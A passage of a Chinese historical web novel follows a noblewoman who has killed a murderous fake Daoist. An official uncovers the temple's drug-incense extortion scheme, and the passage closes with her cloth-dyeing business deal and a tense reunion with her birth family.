沉默片刻后,他斟酌着再次开口:“为了这样的人,赔上一辈子……” “谁说我会赔上一辈子?”晏逐星嗤笑一声。 “此人见色起意,意图对我行不轨之事,我拼死反抗,杀了他,有什么错吗?” 裴明镜又一次被她的话震惊到了。 “你这么说,不怕名声被毁?” “毁了又如何?难不成裴大人觉得我如今名声很好么?”晏逐星反问。 “只要我不在乎,他们说什么都伤害不了我。撑死了也就是一辈子嫁不出去。” “一辈子嫁不出去,难道是什么很可怕的惩罚吗?” 晏逐星说到这里,忍不住笑了。 裴明镜发现他越来越看不透晏逐星了。 而且,可怕的是,他竟然隐隐对她这样肆意的洒脱产生了一些羡慕。 他深吸一口气:“你留在此地等我,待我查明真相后,再送你回家。” “我想见我的丫鬟,她见不到我,怕是要吓坏了。”晏逐星坦然地提了自己的需要。 裴明镜点头应下:“可以。她与你爹娘还有弟弟在一块。” “事情没查清之前,你们一家都不得离开,本官已经派人拦着了。你去找他们吧。” 说完他就要走,但刚转身就被晏逐星叫住了。 “对了,今日大年初一,裴大人不该在国公府与家人团圆么,为何会出现在这里?” 裴明镜回头,直直地盯着她,而后说出了一句让晏逐星意想不到的话。 “你大哥晏明远,昨天夜里,死了。” 他不认为晏明远的死会那么简单,他的直觉告诉他,此事还是与晏逐星有关。 可晏逐星不在京城,她真的能有办法杀了晏明远吗? 所以今日城门一开,他便领着护卫快马加鞭地赶来了通州。 他要亲眼确认她人在通州才行。 没想到,他来到后,确实见到她了,只不过是在凶杀现场见到的。 “死了?”晏逐星一愣。 阮寄薇和九栀动手的速度那么快吗? 见她惊讶的表情不似作伪,裴明镜脑海里闪过了数种猜测。 难不成,他的直觉不准了? 他这么多年来,查案时的直觉从未有过差错,唯独在晏逐星身上栽了好几回。 他不得不谨慎再谨慎。 见晏逐星迟迟没有说话,他正准备试探几句,就听到她惊恐地开口。 “那个明妄道长,真那么厉害?裴大人,您可要小心啊。” 裴明镜一时还没反应过来她这话是什么意思。 “您忘了吗?明真说了,明妄给昭瑞亲王府出了一个毒计,要让定远侯府家破人亡。” “我得快点派人回京告知父亲,查查家中是否有什么怪异的东西。上回,昭瑞亲王府还派人送了二哥的遗物回来,还告诉我们二哥已经魂飞魄散。” 晏逐星一脸焦急。 裴明镜:“……” 不是说好不演了么。 他怎么感觉这位晏大小姐演上瘾了? 她看起来根本就不关心他死活,却还要虚情假意地嘱咐他一句要小心。 明明只是想提醒他明真先前说的那些证词吧。 “妖邪鬼怪之说,纯属无稽之谈。晏大小姐不必忧心。”留下这么一句话,裴明镜便去找明妄和至清了。 晏逐星在裴明镜护卫护送下,去了前院。 双鲤一看到她,就泪眼汪汪地扑了过来。 “大小姐,您没事吧?” 晏逐星摸了摸她的脑袋,安慰道:“我没事,不用担心,身上的血不是我的。” 关万海领着夫人和儿子急匆匆地赶过来。 “发生什么事了,怎么会发生命案了?” “等裴大人先调查吧。”晏逐星没有跟他们过多的解释,让人取了一件新的衣裳和斗篷来,她要更衣。 没过多久,裴明镜的护卫带着唐家人来了。 晏逐星又见到了昨日那对小夫妻。 跟他们一同前来的,还有一个老妇人,她腿软好似走不动了,全然凭着小夫妻一左一右扯着她才被带上来。 晏逐星跟着他们再一次去了后院。 唐家人没察觉跟在身后的她,他们只想快点见到自己的孩子。 “大人,我的女儿呢?”唐田声音发颤地看向了领他们来的护卫。 护卫指了指地上那个裹得严严实实的斗篷。 唐田的脚像是被钉在了原地,他不敢上前,甚至连呼吸都屏住了。 最后还是他的妻子何氏快步向前,蹲下身,猛地掀开了斗篷。 两人都看清了里边的脸。 那张脸又青又白,毫无血色,像蒙了一层寒霜的玉。 正是他们的女儿——唐果。 何氏双腿一软,甚至连哀嚎都没来得及发出,整个人就栽倒在了地上。 唐田踉跄着想要冲过去搀扶妻子,但双腿却像棉花般使不上力。他站在原地,眼睁睁落下了一行清泪。 与他们一同前来的唐母,吓得尖叫了一声。 “不,怎么就死了呢!” “不可能,不可能!!!” 她这一声尖叫,打破了唐田夫妻俩的沉闷,他们终于哭了出来。 “果儿,我的果儿。”何氏眼泪奔涌而出,扑上去紧紧抱住了女儿的尸体。 “你快醒醒,醒醒,娘给你买大风车,买绢花戴好不好?” 唐田忍着心碎,扭头看向了护卫:“请问这位大人,明妄道长身在何处?能否让我见他,我有话要问他。” 护卫:“待裴大人问完话,你们才能见他。” 听到这话,唐田攥紧了拳头,失望地转身。 这时,他才看到站在不远处的晏逐星。 他脸上满是惊讶:“贵人,是你?” 而后他又扭头看向了盖在女儿身上的斗篷,猛地反应了过来。 “那是您的衣裳?您先前见过果儿?”他激动地看着晏逐星。 原本痛哭流涕的何氏听到这话,止住了哭声,扑通跪倒在了晏逐星面前,不停地给她磕头。 “恩人,大小姐,求您告诉我吧,究竟发生了什么事?我的果儿是怎么死的?” 第115章 断子绝孙了 晏逐星沉默了。 她不知道到底该不该将真相告诉他们。 对于这样的普通百姓,昭瑞亲王离他们来说实在太远,想要报仇,谈何容易。 “恩人,求您了,您就告诉我们吧。”唐田也跪了下去。 晏逐星将两人搀扶了起来。 她决定把真相说出来。 他们是唐果的家里人,他们有权利知道真相,至于知道之后会怎么做,那也是他们的选择。 “我来的时候,她已经不在了。”晏逐星的一句话,击溃了两人。 他们互相搀扶着,才没有再度跌倒。 “但是据杀害她的那人所言……” 她把明真说的话,原原本本地告诉了唐田夫妻俩。 唐田夫妻俩如遭雷击,他们身后的唐母痛苦地捂住了脸。 “道长说的是小果儿的八字不好,克着咱们老唐家的祖坟了,所以我才一直没有孙子。” “只要把小果儿留在他这跟随他清修,我很快就能抱上孙子了。” “他,他竟然骗我!” 唐田听到这话,不可思议地看着母亲。 “娘,您怎么能听信这样的话?!”唐田十分痛苦。 “还不是你跟何氏,生下小果儿之后一直没有再生,娘着急啊。”唐母哭得一把鼻涕一把眼泪。 “我不能看着咱们老唐家断子绝孙啊。” “况且、况且,明妄道长向来说得很准,谁能料到,他竟然这样心肠歹毒之人啊。” 唐母哭得愈发大声。 看着母亲这般自责愧疚,唐田责备的话也说不出口了。 但一旁的何氏却跟疯了一样,猛地扑过去揪住了她的衣领,厉声质问:“你不是说过两日就能把果儿接回去吗?” “你还我女儿命来!” “阿苗,你冷静点,娘她不是故意的。”唐田赶忙劝架。 见儿子护着自己,唐母用力推开了何氏,狡辩道:“这事也不能全怪我。要是你早早生了儿子,我也不会听信谗言,把果儿留在道观。” 何氏没想到这事竟然还能怪到自己头上,她情绪更激动了。 “你知道为何成婚多年我和唐田只有果儿一个孩子吗?那是因为……”何氏的话还没说完,就被唐田捂住了嘴。 “阿苗,你冷静点!!!”他嘶声怒吼。 “因为什么,儿子你让她说。”唐母想到这几年何氏都没生出儿子,腰杆子又硬了起来。 何氏再也不受这个窝囊气,她咬了唐田的手一口,推开他大喊出来:“是因为大夫说你儿子元阳弱于常人,很难有孩子。能有一个果儿已经是老天眷顾!” “你胡说八道。”唐母怒目圆瞪,都忘了哭了。 “我是不是胡说,你可以去问济世堂的胡大夫。”何氏眼泪不停地往外流。 她好不容易得了一个女儿,如今却阴阳相隔,她怎能不恨。 早知如此,今日她便跟着来这定慈观了。 无论如何,她都不会让女儿留下来的。 可现在,说什么都晚了。 唐田脸色变得灰败,一言不发。 唐母还想嚷嚷的,瞧见儿子这个表情,便知道何氏说的是真的了。 这一刻,她终于明白,为何生下果儿后,儿子对儿媳百般好。 原来竟是因为这个原因。 “能治好的,对不对?说不定是通州的大夫不行呢?要不咱们去京城瞧瞧?京城名医多,不管花多少银两,娘都给你治!”唐母一把抓住了儿子的手,眼里堆满了急切。 “你以为我们没去过吗……”唐田甩开了母亲的手,脸色愈发难看。 “京城的大夫也说了,这个是娘胎里带的,很难调养好了。” “我和阿苗想着,等果儿长大了招赘婿,生个儿子跟我姓唐,也算有了后。” “如今,一切都毁了……” 唐母听到这话,终于意识到唐家这一回真的彻底断子绝孙了的事实,当场就晕了过去。 晏逐星也没想到唐母将唐果留下竟是这个原因,一时间也无言以对。 可惜了唐果这孩子。 裴明镜迟迟没有出现,但通州知州却派了几十个兵马守住了定慈观,一时间被留下的关家人都很紧张。 “到底出什么事了?大小姐,您就告诉我们吧。”关万海忍不住又来找晏逐星。 “与你们无关,不必太担忧。”晏逐星还是没有给他们答案。 关万海铩羽而归,急得在原地来回踱步。 “早知今日就不来这定慈观了。”他嘟囔着,整个人肉眼可见的烦躁。 杨氏也烦,但她不敢多说什么,这毕竟是夫君的决定,如今说什么都晚了。 只能耐着性子等了。 他们从天亮等到了天黑,终于等到了裴明镜从关押明妄的房间里走了出来。 “送他们回吧。”裴明镜没想到今日竟然查出了这么一桩大案子。 他揉了揉疲惫的眉心,吩咐了下去。 通州知州林天耀一脸谄媚:“裴大人,可要先去知州府小憩片刻?” 裴明镜并未理会他的示好,淡淡道:“不必了。林大人管辖的境内出现了这样的邪道,暗地里谋财害命无数起,林大人还是想想怎么跟皇上交代吧。” 林天耀登时脸色就变了。 大过年的,裴明镜就不能说点好听的吗。 他哭丧这一张脸道:“裴大人,此事下官也是才知道啊……” “林大人这是在拖延时间好让明妄的同伙逃脱?若是如此,之后本官参的可不就是失察之责这么简单了。”裴明镜瞥了他一眼。 林天耀当即头皮发麻,立刻举手发誓:“下官这就去查,绝不会姑息这些作奸犯科之人。” 晏逐星有些好奇究竟发生了什么事。 她看向裴明镜,正欲打听,裴明镜就直接让人把他们请走了。 “无关之人可以离开了。” 晏逐星快步追了上去。 “我不算无关之人吧?” 她想知道完整的事情,说不定可以从中抽丝剥茧,利用他们做的事情加快昭瑞亲王府的灭亡。 裴明镜眉头微皱。 晏逐星杀了明真,确实不算无关。 只是想到明真犯下的那些恶行,还有晏逐星之前说的那些话…… 他一瞬间动摇。 为了一个本就该死的恶徒,毁掉一个女子一辈子,真的有必要吗? 裴明镜沉默了片刻后,开口道:“有关又如何?案情相关,无可奉告。没有即刻将你捉拿入狱,已经是法外开恩。休要多言。” “是是是。多谢裴大人。若大人需要我提供什么证据,我一定全力配合。”晏逐星留下一句客套话,果断开溜。 裴明镜看起来没有要将她和这件事扯上关系的意思,那她就没必要硬往上凑了。 想知道发生什么,之后回去找永安王打听不就好了。 想到谢翊宁,晏逐星忽然有些想知道他现在在做什么。 他那样受宠的孩子,这个年一定过得很开心吧。 走出定慈观,晏逐星听到了一阵马蹄声。 她有些好奇地看了过去,这么晚了,谁还会来定慈观? 第116章 永安王来了 马蹄声由远及近,有人踏破风雪而来。 看清来人的那一刻,晏逐星瞪圆了眼睛,脱口而出:“永安王?” 关万海一家听到这个称呼,都吓坏了,不知所措地站在原地发呆。 他们见过最大的贵人就是侯爷了,忽然来个王爷,他们现在该怎么办? 下跪行礼吗? 可王爷大年初一跑来这做什么,不会是晏逐星认错人了吧? 她不也没行礼么。 关万海腹诽刚结束,就看到晏逐星对来人恭恭敬敬地行了一礼:“臣女见过永安王。” 关万海一家人赶忙有样学样,跟着行礼。 谢翊宁抬手拉住缰绳,从马儿上一跃而下,落在了晏逐星面前。 “裴明镜可有为难你?” 他上下将晏逐星打量了一圈,而后又仔细端详了一下她的眼睛。 见她不像哭过的样子,皱着的眉头这才舒展开来。 “没有。”晏逐星摇了摇头,眼里闪过一丝茫然。 她没想到永安王见到她的第一句话是这个。 一旁的关万海等人听到谢翊宁对晏逐星竟然用这样关心的语气,集体倒吸了一口凉气。 好嘛,怪不得这位大小姐这么嚣张,原来背后是有王爷给她撑腰。 而后又暗暗松了一口气。 还好还好,他们没有得罪她。 “今日定慈观发生的事,你仔细同本王说说。此事涉及妖道祸乱朝纲,本王必须调查清楚。” 听到谢翊宁这番话,跟在身后的停云无语凝噎,只得望天。 明明是昨夜侯府大火,定远侯府大少爷被活活烧死,王爷担心远在通州的晏大小姐也遇害,立刻遣了照夜来查探。 不曾想,照夜调查回去复命,称晏大小姐卷入了命案,裴大人来了,还把晏大小姐和她的生父生母扣留了。 王爷生怕裴大人又刁难晏大小姐,于是派人来接这位大小姐回京。 但人才刚走出王府,王爷又改主意了。 他怕裴大人不买别人的账,决定亲自来。 什么调查妖道,明明是来捞人。 谢翊宁说得一脸严肃,晏逐星立刻就信了。 “王爷请随我来。”她将谢翊宁请到了明真的院落当中。 这儿是定慈观最奢华的地方,这样的地方才勉强配得上永安王。 主要还是外边太冷了,不适合谈话。 双鲤十分有眼力见,从屋子里翻出了上好的银丝炭给两人点了炭盆,屋内顿时暖和多了。 拴好马儿跟过来的停云不甘示弱,立刻生火煮了一壶热茶送过来。 晏逐星还没来得及跟谢翊宁好好说今日发生了什么事,裴明镜就来了。 “下官见过王爷。” 谢翊宁抿了一口茶,微微点头。 “不知王爷深夜前来,所为何事?”裴明镜试探地开口。 永安王莫不是为了晏逐星而来? “听闻通州有一妖道要用邪术害父皇,本王自然得亲自前来查探。”谢翊宁回答得十分坦荡,顺便还解释了与晏逐星私下见面的原因。 “先前得知裴大人还在忙,便请晏大小姐替本王答疑解惑。” “如今裴大人来了,正好,你们一块说吧。” 晏逐星听到这话,眼眸微微一亮。 裴明镜当着永安王的面肯定不敢撒谎,那么今日定慈观之事他一定会原原本本地说出来。 那她岂不是也能知道发生什么事了? 于是她果断开口:“王爷,那我就先说我知道的吧。” “嗯。”谢翊宁点了点头。 晏逐星便将昨日遇到唐果一家,还有关万海一家为何要带自己来定慈观,还有后续因为风车跟踪至清,发现明真杀害唐果的事情一一说了出来。 当然,她杀了明真的事情,她也没有隐瞒。 裴明镜有些诧异地看了她一眼。 她竟然将这事也告诉永安王,不怕永安王知道她是这样的女子之后远离她么? 晏逐星说完后,谢翊宁脱口而出:“杀得好,这样的极恶之徒,该受千刀万剐之行。” 裴明镜:“……” 是他担心得太早了。 “一剑封喉,倒是便宜了他。”谢翊宁冷哼一声,而后看向了裴明镜。 “裴大人,你给本王说说,这定慈观到底是怎么一回事吧。” “是。”裴明镜应下,将今日调查清楚的事情和盘托出。 原来,定慈观根本就不是什么正经道观,明妄就是个会些江湖把戏的骗子。 他们制作的无忧散,实际上里边加了一种特殊的迷魂药。 他们燃香之前,提前服用了解药,因此不受任何影响。 但前来的那些香客们,却中招了。 他们用了一种特殊的技法,再加上无忧散,从那些人口中套出了他们的生平底细,记录在册。 若有做了亏心事的,他们便以此为要挟,让人时常来道观给祖师爷添“供奉”。更恶心的是,遇上了年轻貌美的妇人,他们还会将人迷晕后行不轨之事。 那些妇人们对此还一无所知。 若来的只是一个普通的人,他们便向他们兜售改良后的无忧散。 改良后的无忧散减轻了迷药的分量,让人吸入之后不会半昏迷,只会睡得比较香,而且睡醒后精神焕发,会把当夜的事情忘得一干二净。 因此不少人都来求购这个无忧散。 “这么说起来,这个无忧散若是用在正途上也算一个好东西?”一旁的停云忍不住嘀咕了起来。 “不。此物用久了极其伤身,一日不用便会头疼难受,很难戒断。”裴明镜摇了摇头。 “久而久之,身体也会越来越差,从而逝世。” 谢翊宁翻阅了他递过来的案卷,眉头皱得越来越紧。 这还只是他们查出来的冰山一角,受害者竟然牵连如此广泛。 “此物必须禁了。”谢翊宁果断作出决定。 “下官也有此意。”裴明镜对他这话十分赞同。 这时,晏逐星忽然开口:“有一事,我想请裴大人保密。” 第117章 瞒下这件事 “你放心,若是你杀了明真的事情,本王可以……”谢翊宁率先开口。 晏逐星却摇头打断了他。 “不是这事。” “那是何事?”裴明镜和谢翊宁同时问出了声。 “关于那些妇人受辱之事,能否瞒下。”晏逐星神色肃穆。 两人听到这话,俱是一怔。 “此事若是传开,但凡来过定慈观的女子,恐怕都会被人怀疑猜忌。到时候,光是那些闲言碎语,就足够毁掉很多人。”晏逐星说出了她的担忧。 两人都沉默了。 确实,这事一旦传开,那些妇人很可能要承受别人异样的眼光,她们的丈夫也难免会怀疑她们是否失了贞洁。 届时,恐怕要闹出不少人命。 裴明镜还在思考,谢翊宁就率先开口了:“晏大小姐言之有理,裴大人,此事日后记得压下不表,着重强调无忧散谋财害命即可。” “是。”裴明镜应了一声。 他看向晏逐星的眼神变得有些复杂。 她杀人不眨眼,却又心肠柔软,为了无辜百姓的名声考虑这般周全。 可是对自己却一副无所谓的态度。 晏逐星,你究竟是什么样的人。 事情已经真相大白,晏逐星起身告退。 谢翊宁命停云护送他们一家下山。 晏逐星回家洗洗倒头就睡,可关万海却怎么也睡不着。 “你说,咱们认下这个闺女,究竟是好事还是坏事?”他看着夫人,忧心忡忡。 杨氏握住了他的手,安慰道:“夫君,开弓没有回头箭。此事的决定权不在你我,在侯府。” 关万海叹了一口气。 他又何尝不知道呢。 定远侯和晏逐星,一个想让他们认下晏逐星这个女儿,另一个显然不这么想。 可这两个人,不管是谁,他们都得罪不起。 杨氏见他叹气,再次安慰:“车到山前必有路,船到桥头自然直。咱们走一步看一步吧。” 关万海点了点头,夫妻相拥而眠。 * 大年初二,回娘家。 关家的几个女儿今日要带着丈夫和孩子们回来,因此关家的下人们早早就忙活了起来。 关万海盯着硕大的黑眼圈从床上爬起来,刚洗漱完毕,还没见到女儿和姑爷,就瞧见了双鲤。 “关老爷,我家小姐要见你。” “走吧,莫让她等急了。”关万海哪敢拒绝晏逐星,也不敢摆父亲的谱,立刻乖乖跟着双鲤走了。 下人们看着目瞪口呆。 在家中说一不二的老爷,竟然对新认回来的四小姐言听计从,甚至还带着一点儿畏惧。 关家,怕是要变天了。 关万海见到晏逐星,赶忙行礼:“不知大小姐寻我何事?” “昨日,我这个亲女儿的名头,关老板用得很高兴嘛。”晏逐星意味深长地看了他一眼。 关万海顿时冷汗淋漓,没想到她竟然这么快就找他算账了。 “这个嘛,这个……”关万海支支吾吾,一时间找不出什么合理的借口。 毕竟面前的这位主儿可不好糊弄。 “关老板不必紧张,坐吧。”晏逐星示意他落座。 关万海立马老实坐下。 “用了我的名头,不给点利息,不合适吧?”晏逐星挑眉看向他。 “关家如今生意大不如钱,我兜里真没几个钱了呀。”关万海开始哭穷。 “我不要现银,我要关家布匹行。”晏逐星轻轻点了点桌子。 关万海脸色瞬间变了,脱口而出:“这可是我们家的心血!你说要就要,未免太过分了。我不同意,你杀了我我也不可能把它给你。” “关老板不要着急,我不白要。我只要利润的五成。”晏逐星依旧不急不躁。 “五成?!”关万海激动得都破音了。 这和白抢有什么区别?! “我不……” “我有平易版浮光锦的秘方,成本只要它的三分之一,但你可以卖相差无几的价格。”晏逐星一句话让关万海的话立刻拐了个弯。 “我不可能不听您的劝,大小姐,您展开讲讲呗。”关万海眼里透露出炙热的光芒,脸上也堆砌起讨好的笑。 浮光锦可是贡品。 如今只有皇室中人才能用上,一匹价值几百两。 有价无市! 哪个做布匹生意的不想有这么一个独家秘方。 若是真能做出媲美浮光锦的布料,他们关家从此定然可以成为百年老店,傲立通州,甚至可以成为大虞最出名的布匹行。 想到那个场景,关万海就激动得恨不得去院子里跑两圈。 晏逐星慢条斯理地喝了一口茶,没说话。 昨夜听到无忧散的成分有虫子时,她忽然想起了上辈子行军作战一个来自岭南的小卒说过的一件事。 他们那有一种亮闪闪的甲虫,每年都会蜕壳。 他阿姐爱美,会用甲虫蜕下来的壳磨成粉,混合着花汁液涂到指甲上,就会变得亮晶晶的。 后来还试过弄到帕子上,帕子在太阳下就变得流光溢彩,十分好看。 他说等日后他娶妻的时候,就让阿姐帮他染帕子送给心爱的人。 当时她想的是等她回京城了,找找看有没有类似的虫子,她也试试这个法子,所以追着那人仔细问了做法。 昨夜回到关家后,她就想着那个法子能不能用到布料上,若是可以,这或许可以成为她日后的营收。 毕竟卖冰并非长久之计。 她日后要做的事情很多,钱是绝对不能少的,得有一个稳当的收益来源才行。 如今她人手不足,这个生意如果她自己做,需要耗费大量的时间金钱精力,和有布匹生意经验的关家合作是当下最好的选择。 “大小姐,喝茶喝茶。”见晏逐星迟迟不说话,关万海殷切地给她倒茶水,眼里满是期待与渴望。 第118章 血脉至亲啊 “关老板想好了?”晏逐星放下了手中的茶盏。 “想好了,您若是拿出秘方来,我愿意给您五成的纯利润!”关万海点头如捣蒜。 “关老板爽快。”晏逐星将自己知晓的事情说了出来。 但具体是什么虫,需要用什么汁液去混合,这些核心的东西她就一笔带过了。 “岭南距离通州,路途遥远,这……”关万海一时间有些迟疑了。 他的生意只在通州和江南一代,岭南他还没去过呢。 “想和我合作的人很多,选你,是因为你现在是我名义上的父亲。过了这个村可就没有这个店了。”晏逐星不轻不重地提了一句。 “你也别想着听我说了这么几句就自己找人去试做,我有的是法子让你把东西卖不出去。” 关万海顿时心虚地低下了头。 他刚刚确实有这么想过。 都要去岭南了,他要拼一把,为何不自己干,分五成利出去,跟割他的肉有什么区别。 晏逐星这么一说,他才想起来,她身后不仅有定远侯府,还有永安王。 “大小姐说笑了,我哪敢呀。”关万海讪讪一笑。 “你也别觉得我白拿你的五成利润。日后你若想推广开这新做好的‘流光缎’,还有什么比京城贵夫人千金小姐都穿上效果更好。我义母乃是列国公夫人,皇后也对我亲睐有加……” 晏逐星的话点到为止。 若关万海还不识趣,她就要换人合作了。 “流光缎?好名字!一听就会大卖。大小姐,从今往后,我都听您的。”关万海被她这么一点,立刻想明白了很多事情。 他就算把那布料做出来了,京城里没个靠山,没人帮他推广,那也没用。 到时候保不准还会被权贵抢走,五成利润都未必能喂饱那些贪心的家伙。 倒不如就选晏逐星。 晏逐星将最后一口茶喝掉,开口道:“拟契书吧。签订好送到官府去,我将秘方写下来给你。你派人去岭南的时候,找找我说的那姑娘,她能帮大忙。” 关万海命人取来笔墨纸砚,而后问道:“好咧,那姑娘叫什么?” “陈三妹。” 关万海:“……” 这个名字那么普通,怎么找? 去了岭南岂不是大海捞针。 好在晏逐星补充了其他的情况:“她是潮州人士,有两个姐姐,一个哥哥还有两个弟弟。最小的弟弟叫陈春生。年龄……不知道,但现在应该还没有嫁人。” “我记下了,我一定派人找到这个陈三妹。”关万海点头应下,将拟定好的契约书交给了晏逐星。 他现在可不敢有任何坏心思,写的条款都是最公平公正的那种。 晏逐星仔细看了一遍,确认无误后签下了自己的名字,按下了手印。 而后双方都派人将契约送到官府存档,这个合作就这么定下了。 晏逐星将自己知道的有关秘方的事情,全都写在了纸上。 关万海看着上边笼统的配方,嘴角抽了抽。 他怎么感觉他好像上了晏逐星的贼船下不去了。 现在原材料得他派人去找,染布的方法也得他自己慢慢试,晏逐星只是说了一个地名,一些他没听过的东西,就拿走了五成的利润。 关万海懊悔地掐了自己大腿一把。 早知道,该说四成利润的。 晏逐星可不管他后不后悔,反正这笔生意她不亏。 前期她不管,后期需要推广的时候她找个好时机,穿上流光缎做的裙子,找一个贵夫人千金小姐多的宴会穿出去。 再拜托列国公夫人帮忙宣扬一二,她就不信这流光缎卖不出去。 “老爷,大小姐,几位姑奶奶带着姑爷和表少爷表小姐回来了,等着见你们呢。”门口的管家前来通传。 “这就来。”关万海应声,而后对晏逐星行礼,“大小姐,咱们一块过去吧。” “好。”晏逐星点了点头。 定远侯府还没有派人来接她,她也没必要急吼吼地赶回去。 万一撞上了温家人,还得费心费力去应付。 就把这一切交给定远侯头疼去吧。 晏逐星跟着关万海出来,见到了关家三个出嫁的女儿。 关霞、关云还有关月。 关霞看到她,眼泪“欻”一下就掉了下来。 “小妹,这些年你受苦了。” “大姐,你说错了。四姐是定远侯府的千金小姐,才没有受苦呢。”关曜嚷嚷了起来。 原本煽情的场景瞬间变得有些尴尬了起来。 杨氏紧张地看了晏逐星一眼,轻轻将儿子扯到怀里,压低声音道:“不是跟你说了吗,你四姐还没认祖归宗,你不能叫她四姐。要称呼她大小姐。” 关霞听到这话,不赞同地看了母亲一眼。 “娘,您这么说也太见外了。都是一母同胞的姐妹,您这么说,多伤小妹的心啊。” 关云看着就是个老实巴交的人,大姐跟娘亲说话,她也没吭声,只是脸上堆满了愁容。看看这个又看看那个,谁都不敢帮。 关月却冷哼了一声:“大姐,咱们还是先问清楚吧。是娘不让喊,还是某些人不愿意认咱们当亲人。” “你闭嘴。别在这给我阴阳怪气。”关万海生怕晏逐星当场发飙,立刻站出来呵斥三女儿。 “我怎么就阴阳怪气了。不愿意认咱们她可以不回家的呀,继续当她高高在上的大小姐不就好了。”关月梗着脖子反驳。 “关星,你说,你是不是嫌咱们家是商户,不想认!”她瞪圆了眼睛看向晏逐星。 她的丈夫韩齐扯了扯她的胳膊,压低声音道:“月娘,你少说两句,这可是侯府大小姐,咱们得罪不起。” 而后陪着笑脸看向晏逐星:“月娘怀了身孕所以脾气不太好,您见谅哈。” 听到关月怀了身孕,关霞还有关云都紧张地看着她。 “小妹,怀了孩子怎么不说。”关霞满脸着急。 关月嘟囔道:“还不到三个月呢,有什么好说的。” “那就更得注意了。你也是双身子的人了,脾气那么暴躁做什么。赶紧进屋休息去。”关霞絮絮叨叨地数落着妹妹,但语气里的关心却是实实在在的。 晏逐星看着她们姐妹仨互相关心的场景,觉得自己好像有些多余。 果然假的就是假的,永远没办法变成真的。 她轻声笑了,看向关万海:“关老板,家务事记得好好处理,别影响了咱们的合作。” 听到她对关万海的称呼,几人都有些惊讶。 关万海赶忙道:“大小姐放心,这事我一定会处理得妥妥当当。” “大小姐,事情办妥了。”这时,去送契约的双鲤正好回来了。 瞧见她,晏逐星勾起了唇角:“好,那咱们收拾东西,走吧。” 听到这话,关万海吓了一跳:“走吧?您要去哪?” “回京。”晏逐星不打算继续待下去了。 见识到了关霞对亲妹妹毫不掩饰的关心,她愈发觉得呆在这里只会让她更加想念自己的亲人。 可他们现在究竟再哪里呢? 晏逐星心底是掩不住的失落。 倒不如回侯府去。 看看仇人的尸体,感受一下大仇得报的喜悦。 关万海瞪了关月一眼。 将人气走了吧,到时候惹怒了晏逐星他们全家都没好果子吃。 “赶紧给大小姐道歉。”杨氏急得上前给她拽到了晏逐星面前。 “娘,您当心些,小妹怀了身子呢。”关霞这个长姐可操心坏了,赶忙上前一步护住妹妹。 关月没想到晏逐星竟然说走就走,眼泪一下就涌上来了。 “你,不就是说了你两句吗。又走又走,这回不怕丢了?”她气得直跺脚。 “我不就是想让你喊一句三姐么。” 关月委屈得眼泪啪嗒啪嗒地往下掉。 “是,我们关家是没有侯府好,但我们是你的血脉至亲啊。” “你喊一句三姐,我还能真把你赶走不成。我和大姐二姐,给你攒了十几年的绢花、簪子,我们有的,你都有一份。你怎么能就这样走了呢。” 关月说着说着,“哇”一声哭得更大声了。 晏逐星看得目瞪口呆。 她还以为关月很讨厌她呢,原来,竟是这般心口不一么。 “你不许走,你要是不满意,觉得还不够,我把出嫁时候爹娘给我的东西都给你还不行么。”关月哭得一把鼻涕一把眼泪,拉着她的手不肯松开。 当初爹娘是带着她和小妹一块去青州的。 只是后来唯独小妹走丢了,她却被带回了家。 她一直很自责,要是那会她没有吵着要买糖糕吃就好了,就不会弄丢妹妹了。 得知小妹这些年在侯府当千金小姐,她还替她松了一口气。 一直想着见面了该怎么找回丢失了多年的姐妹感情。 谁曾想,回来之后见到的小妹却和从前大不相同。 小时候最黏着她最乖巧的妹妹,变得生人勿近,还不许弟弟叫她姐姐。 她一时忍不住就发了脾气。 “那个,我不是被你赶走的,我是确实该回去了……”晏逐星有些招架不住她着突如其来的热情,直抽回手想退后。 一旁的双鲤听到这话,一脸崇拜地看向她。 “小姐,您会卜卦么,您怎么知道咱们今日就该回侯府了?!” “嗯?侯府来人了么?”晏逐星有些惊讶。 “没呢。”双鲤摇头。 第119章 对她感兴趣 “那是?”晏逐星一时间没反应过来。 “是永安王在巷子口等着您呢,说是侯爷让他顺道捎您回京。”双鲤快速把事情说了一遍。 “那你怎么不早说。”关万海比晏逐星还着急。 “怎么能让永安王在等着呢,快快快,快将人请进来。” 他满面红光。 他们家还没来过王爷呢,若是永安王能来关家坐一坐,日后说出去也光宗耀祖啊。 晏逐星打断了他的吩咐。 “不必了,我这就走。永安王不喜外人,关老板还是不要轻易往上凑,万一弄巧成拙,惹怒了他可就麻烦了。” 关家可以利用她的名头,但她不想将谢翊宁牵涉其中。 而且定远侯哪里拜托得动永安王捎她一程,肯定是他有话想对她说。 晏逐星果断让下人回屋收拾行李,她先去见谢翊宁。 听到永安王的名讳,关月止住了哭声,如今瞧见晏逐星要走,她急急忙忙地追了上去,塞了一对银手镯给她。 款式简单,但用料却很扎实。 “这是我和大姐二姐一块给你凑的见面礼,你要走,也得带上。” 见她眼眶红红,晏逐星怕拒绝了她,待会她又要哭,耽误她去见永安王,只得收下了。 反正之后和关家还有生意上的往来,到时候再把镯子还给她吧。 “多谢。” 晏逐星匆匆去了门外,一眼就看到了谢翊宁的马车。 她赶忙行礼:“见过王爷。不知王爷在此,让您久等了。” 谢翊宁掀开车帘下了车。 他开口提醒道:“无妨。你大哥去世了,你也该回京吊唁,定远侯竟然还未派人来接你。你再不回去,有心之人恐怕又要以此大做文章了。” “王爷思虑甚是周全。”晏逐星压根没考虑不回去自己的名声会变坏这事。 反正现在的名声已经够坏了,再坏又能坏到哪去。 而且是定远侯没派人来告诉她的,她假装不知道不就行了。 谢翊宁:“反正本王也要回京,若你打算回去,可以跟在我们后边。通州到京城虽然不算太远,但终归你们主仆都是弱女子,路上若是遇着歹人,那就麻烦了。” 停云:“……” 弱女子三个字,晏大小姐只和女子两个字沾边好吧。 谁家弱女子动不动就废人命根子,还搞什么一剑封喉。 歹徒遇上晏大小姐,还是先想想自己能不能活命吧。 “我正有回京的打算,那就多谢王爷了。”晏逐星笑着道谢。 此时,另一辆马车缓缓驶来。 子平拉住缰绳,冲车里的主子低声道:“大人,永安王也在。” 裴明镜微微皱眉。 昨天夜里,他仔细思考了近距离看清永安王和晏逐星相处时候的情况。 两人看起来似乎并无男女之情。 永安王不可能帮晏逐星杀人,而当时晏逐星腿还没好,也不能行凶。 之前或许是他猜错了,所以才迟迟没有找到证据。 但如今这么一看,他又有点看不明白了。 永安王对晏逐星,究竟是什么意思? 而且晏逐星给他的感觉很奇怪,她身上似乎还藏了许多的秘密,让他忍不住想要去挖掘。 